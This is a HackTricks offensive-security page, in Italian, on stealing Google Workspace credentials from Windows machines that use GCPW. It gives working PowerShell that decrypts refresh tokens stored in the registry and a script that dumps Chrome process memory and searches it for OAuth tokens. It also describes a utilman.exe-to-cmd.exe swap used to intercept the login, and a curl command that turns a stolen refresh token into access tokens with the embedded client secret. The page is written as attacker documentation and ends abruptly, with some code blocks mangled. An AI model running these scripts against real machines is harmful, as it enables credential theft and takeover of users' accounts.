GCPW - Google Credential Provider for Windows

Support HackTricks

Basic Information

Questo è il single sign-on che Google Workspaces fornisce affinché gli utenti possano accedere ai loro PC Windows utilizzando le loro credenziali di Workspace. Inoltre, questo memorizzerà i token per accedere a Google Workspace in alcuni luoghi del PC.

Nota che Winpeas è in grado di rilevare GCPW, ottenere informazioni sulla configurazione e anche token.

GCPW - MitM

Quando un utente accede a un PC Windows sincronizzato con Google Workspace tramite GCPW, dovrà completare un comune modulo di accesso. Questo modulo di accesso restituirà un codice OAuth che il PC scambierà per il token di aggiornamento in una richiesta come:

POST /oauth2/v4/token HTTP/2
Host: www.googleapis.com
Content-Length: 311
Content-Type: application/x-www-form-urlencoded
[...headers...]

scope=https://www.google.com/accounts/OAuthLogin
&grant_type=authorization_code
&client_id=77185425430.apps.googleusercontent.com
&client_secret=OTJgUOQcT7lO7GsGZq2G4IlT
&code=4/0AVG7fiQ1NKncRzNrrGjY5S02wBWBJxV9kUNSKvB1EnJDCWyDmfZvelqKp0zx8jRGmR7LUw
&device_id=d5c82f70-71ff-48e8-94db-312e64c7354f
&device_type=chrome

Sono state aggiunte nuove righe per renderlo più leggibile.

È stato possibile eseguire un MitM installando Proxifier nel PC, sovrascrivendo il binario utilman.exe con un cmd.exe ed eseguendo le funzionalità di accessibilità nella pagina di accesso di Windows, che eseguirà un CMD da cui puoi lanciare e configurare il Proxifier. Non dimenticare di bloccare il traffico QUICK UDP in Proxifier in modo che venga degradato a comunicazione TCP e tu possa vederlo.

Configura anche in "Serviced and other users" entrambe le opzioni e installa il certificato Burp CA in Windows.

Inoltre, aggiungendo le chiavi enable_verbose_logging = 1 e log_file_path = C:\Public\gcpw.log in HKLM:\SOFTWARE\Google\GCPW è possibile farlo memorizzare alcuni log.

GCPW - Fingerprint

È possibile verificare se GCPW è installato in un dispositivo controllando se esiste il seguente processo o se esistono le seguenti chiavi di registro:

# Check process gcpw_extension.exe
if (Get-Process -Name "gcpw_extension" -ErrorAction SilentlyContinue) {
Write-Output "The process gcpw_xtension.exe is running."
} else {
Write-Output "The process gcpw_xtension.exe is not running."
}

# Check if HKLM\SOFTWARE\Google\GCPW\Users exists
$gcpwHKLMPath = "HKLM:\SOFTWARE\Google\GCPW\Users"
if (Test-Path $gcpwHKLMPath) {
Write-Output "GCPW is installed: The key $gcpwHKLMPath exists."
} else {
Write-Output "GCPW is not installed: The key $gcpwHKLMPath does not exist."
}

# Check if HKCU\SOFTWARE\Google\Accounts exists
$gcpwHKCUPath = "HKCU:\SOFTWARE\Google\Accounts"
if (Test-Path $gcpwHKCUPath) {
Write-Output "Google Accounts are present: The key $gcpwHKCUPath exists."
} else {
Write-Output "No Google Accounts found: The key $gcpwHKCUPath does not exist."
}

In HKCU:\SOFTWARE\Google\Accounts è possibile accedere all'email dell'utente e al refresh token crittografato se l'utente ha effettuato l'accesso di recente.

In HKLM:\SOFTWARE\Google\GCPW\Users è possibile trovare i domini che sono autorizzati ad accedere nella chiave domains_allowed e nelle sottochiavi è possibile trovare informazioni sull'utente come email, immagine, nome utente, durata dei token, handle del token...

L'handle del token è un token che inizia con eth. e da cui è possibile estrarre alcune informazioni con una richiesta come:

curl -s 'https://www.googleapis.com/oauth2/v2/tokeninfo' \
-d 'token_handle=eth.ALh9Bwhhy_aDaRGhv4v81xRNXdt8BDrWYrM2DBv-aZwPdt7U54gp-m_3lEXsweSyUAuN3J-9KqzbDgHBfFzYqVink340uYtWAwxsXZgqFKrRGzmXZcJNVapkUpLVsYZ_F87B5P_iUzTG-sffD4_kkd0SEwZ0hSSgKVuLT-2eCY67qVKxfGvnfmg'
# Example response
{
"audience": "77185425430.apps.googleusercontent.com",
"scope": "https://www.google.com/accounts/OAuthLogin",
"expires_in": 12880152
}

È anche possibile trovare il token handle di un access token con una richiesta come:

curl -s 'https://www.googleapis.com/oauth2/v2/tokeninfo' \
-d 'access_token=<access token>'
# Example response
{
"issued_to": "77185425430.apps.googleusercontent.com",
"audience": "77185425430.apps.googleusercontent.com",
"scope": "https://www.google.com/accounts/OAuthLogin",
"expires_in": 1327,
"access_type": "offline",
"token_handle": "eth.ALh9Bwhhy_aDaRGhv4v81xRNXdt8BDrWYrM2DBv-aZwPdt7U54gp-m_3lEXsweSyUAuN3J-9KqzbDgHBfFzYqVink340uYtWAwxsXZgqFKrRGzmXZcJNVapkUpLVsYZ_F87B5P_iUzTG-sffD4_kkd0SEwZ0hSSgKVuLT-2eCY67qVKxfGvnfmg"
}

Afaik non è possibile ottenere un refresh token o access token dal token handle.

Inoltre, il file C:\ProgramData\Google\Credential Provider\Policies\<sid>\PolicyFetchResponse è un json che contiene le informazioni di diverse impostazioni come enableDmEnrollment, enableGcpAutoUpdate, enableMultiUserLogin (se più utenti di Workspace possono accedere al computer) e validityPeriodDays (numero di giorni in cui un utente non deve ri-autenticarsi direttamente con Google).

GCPW - Ottieni Token

GCPW - Token di Aggiornamento del Registro

All'interno del registro HKCU:\SOFTWARE\Google\Accounts potrebbe essere possibile trovare alcuni account con il refresh_token crittografato all'interno. Il metodo ProtectedData.Unprotect può facilmente decrittografarlo.

Ottieni HKCU:\SOFTWARE\Google\Accounts dati e decrittografa refresh_tokens

```powershell # Import required namespace for decryption Add-Type -AssemblyName System.Security

Base registry path

$baseKey = "HKCU:\SOFTWARE\Google\Accounts"

Function to search and decrypt refresh_token values

function Get-RegistryKeysAndDecryptTokens { param ( [string]$keyPath )

Get all values within the current key

$registryKey = Get-Item -Path $keyPath $foundToken = $false

Loop through properties to find refresh_token

foreach ($property in $registryKey.Property) { if ($property -eq "refresh_token") { $foundToken = $true try {

Get the raw bytes of the refresh_token from the registry

$encryptedTokenBytes = (Get-ItemProperty -Path $keyPath -Name $property).$property

Decrypt the bytes using ProtectedData.Unprotect

$decryptedTokenBytes = [System.Security.Cryptography.ProtectedData]::Unprotect($encryptedTokenBytes, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser) $decryptedToken = [System.Text.Encoding]::UTF8.GetString($decryptedTokenBytes)

Write-Output "Path: $keyPath" Write-Output "Decrypted refresh_token: $decryptedToken" Write-Output "-----------------------------" } catch { Write-Output "Path: $keyPath" Write-Output "Failed to decrypt refresh_token: $($_.Exception.Message)" Write-Output "-----------------------------" } } }

Recursively process all subkeys

Get-ChildItem -Path $keyPath | ForEach-Object { Get-RegistryKeysAndDecryptTokens -keyPath $_.PSPath } }

Start the search from the base key

Get-RegistryKeysAndDecryptTokens -keyPath $baseKey

</details>

Esempio di output:

<div data-gb-custom-block data-tag="code" data-overflow='wrap'>

Path: Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\SOFTWARE\Google\Accounts\100402336966965820570Decrypted refresh_token: 1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI


</div>

Come spiegato in [**questo video**](https://www.youtube.com/watch?v=FEQxHRRP\_5I), se non trovi il token nel registro, è possibile modificare il valore (o eliminarlo) da **`HKLM:\SOFTWARE\Google\GCPW\Users\<sid>\th`** e la prossima volta che l'utente accede al computer dovrà effettuare nuovamente il login e il **token sarà memorizzato nel registro precedente**.

### GCPW - Token di aggiornamento del disco

Il file **`%LocalAppData%\Google\Chrome\User Data\Local State`** memorizza la chiave per decrittare i **`refresh_tokens`** situati all'interno dei **profili di Google Chrome** dell'utente come:

* `%LocalAppData%\Google\Chrome\User Data\Default\Web Data`
* `%LocalAppData%\Google\Chrome\Profile*\Default\Web Data`

È possibile trovare del **codice C#** che accede a questi token nella loro forma decrittata in [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe).

Inoltre, la crittografia può essere trovata in questo codice: [https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os\_crypt/sync/os\_crypt\_win.cc#L216](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os\_crypt/sync/os\_crypt\_win.cc#L216)

Si può osservare che viene utilizzato AESGCM, il token crittografato inizia con una **versione** (**`v10`** in questo momento), poi ha [**12B di nonce**](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os\_crypt/sync/os\_crypt\_win.cc#L42), e poi ha il **testo cifrato** con un **mac finale di 16B**.

### GCPW - Dumping dei token dalla memoria dei processi

Il seguente script può essere utilizzato per **dumpare** ogni processo **Chrome** utilizzando `procdump`, estrarre le **stringhe** e poi **cercare** stringhe relative ai **token di accesso e di aggiornamento**. Se Chrome è connesso a qualche sito Google, alcuni **processi memorizzeranno token di aggiornamento e/o di accesso in memoria!**

<details>

<summary>Dump dei processi Chrome e ricerca dei token</summary>
```powershell
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
$dumpFolder = "C:\Users\Public\dumps"

# Regular expressions for tokens
$tokenRegexes = @(
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
"1//[a-zA-Z0-9_\.\-]{50,}"
)

# Create a directory for the dumps if it doesn't exist
if (!(Test-Path $dumpFolder)) {
New-Item -Path $dumpFolder -ItemType Directory
}

# Get all Chrome process IDs
$chromeProcesses = Get-Process -Name "chrome" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id

# Dump each Chrome process
foreach ($processId in $chromeProcesses) {
Write-Output "Dumping process with PID: $processId"
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
}

# Extract strings and search for tokens in each dump
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
$dumpFile = $_.FullName
$baseName = $_.BaseName
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"

Write-Output "Extracting strings from $dumpFile"
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
& $stringsPath -accepteula -n 50 -nobanner -u $dumpFile > $unicodeStringsFile

$outputFiles = @($asciiStringsFile, $unicodeStringsFile)

foreach ($file in $outputFiles) {
foreach ($regex in $tokenRegexes) {

$matches = Select-String -Path $file -Pattern $regex -AllMatches

$uniqueMatches = @{}

foreach ($matchInfo in $matches) {
foreach ($match in $matchInfo.Matches) {
$matchValue = $match.Value
if (-not $uniqueMatches.ContainsKey($matchValue)) {
$uniqueMatches[$matchValue] = @{
LineNumber = $matchInfo.LineNumber
LineText   = $matchInfo.Line.Trim()
FilePath   = $matchInfo.Path
}
}
}
}

foreach ($matchValue in $uniqueMatches.Keys) {
$info = $uniqueMatches[$matchValue]
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
}
}

Write-Output ""
}
}

Remove-Item -Path $dumpFolder -Recurse -Force

Ho provato lo stesso con gcpw_extension.exe ma non ha trovato alcun token.

Per qualche motivo, alcuni token di accesso estratti non saranno validi (anche se alcuni lo saranno). Ho provato il seguente script per rimuovere i caratteri uno alla volta per cercare di ottenere il token valido dal dump. Non mi ha mai aiutato a trovare uno valido, ma potrebbe, suppongo:

Controlla il token di accesso rimuovendo i caratteri uno alla volta

```bash #!/bin/bash

Define the initial access token

access_token="ya29.a0AcM612wWX6Pe3Pc6ApZYknGs5n66W1Hr1CQvF_L_pIm3uZaXWisWFabzxheYCHErRn28l2UOJuAbMzfn1TUpSKqvYvlhXJpxQsKEtwhYXzN2BZdOQNji0EXfF7po1_0WaxhwqOiE0CFQciiL8uAmkRsoXhq9ekC_S8xLrODZ2yKdDR6gSFULWaiIG-bOCFx3DkbOdbjAk-U4aN1WbglUAJdLZh7DMzSucIIZwKWvBxqqajSAjrdW0mRNVN2IfkcVLPndwj7fQJV2bQaCgYKAbQSAQ4SFQHGX2MiPuU1D-9-YHVzaFlUo_RwXA0277"

Define the URL for the request

url="https://www.googleapis.com/oauth2/v1/tokeninfo"

Loop until the token is 20 characters or the response doesn't contain "error_description"

while [ ${#access_token} -gt 20 ]; do

Make the request and capture the response

response=$(curl -s -H "Content-Type: application/x-www-form-urlencoded" -d "access_token=$access_token" $url)

Check if the response contains "error_description"

if [[ ! "$response" =~ "error_description" ]]; then echo "Success: Token is valid" echo "Final token: $access_token" echo "Response: $response" exit 0 fi

Remove the last character from the token

access_token=${access_token:0:-1}

echo "Token length: ${#access_token}" done

echo "Error: Token invalid or too short"

</details>

### GCPW - Generazione di token di accesso dai token di aggiornamento

Utilizzando il token di aggiornamento, è possibile generare token di accesso utilizzandolo e l'ID client e il segreto client specificati nel seguente comando:
```bash
curl -s --data "client_id=77185425430.apps.googleusercontent.com" \
--data "client_secret=OTJgUOQcT7lO7GsGZq2G4IlT" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \
https://www.googleapis.com/oauth2/v4/token

GCPW - Scopes

Nota che anche avendo un refresh token, non è possibile richiedere alcuno scope per il token di accesso poiché puoi richiedere solo gli scopes supportati dall'applicazione in cui stai generando il token di accesso.

Inoltre, il refresh token non è valido in ogni applicazione.

Per impostazione predefinita, GCPW non avrà accesso come utente a ogni possibile scope OAuth, quindi utilizzando il seguente script possiamo trovare gli scopes che possono essere utilizzati con il refresh_token per generare un access_token:

Last updated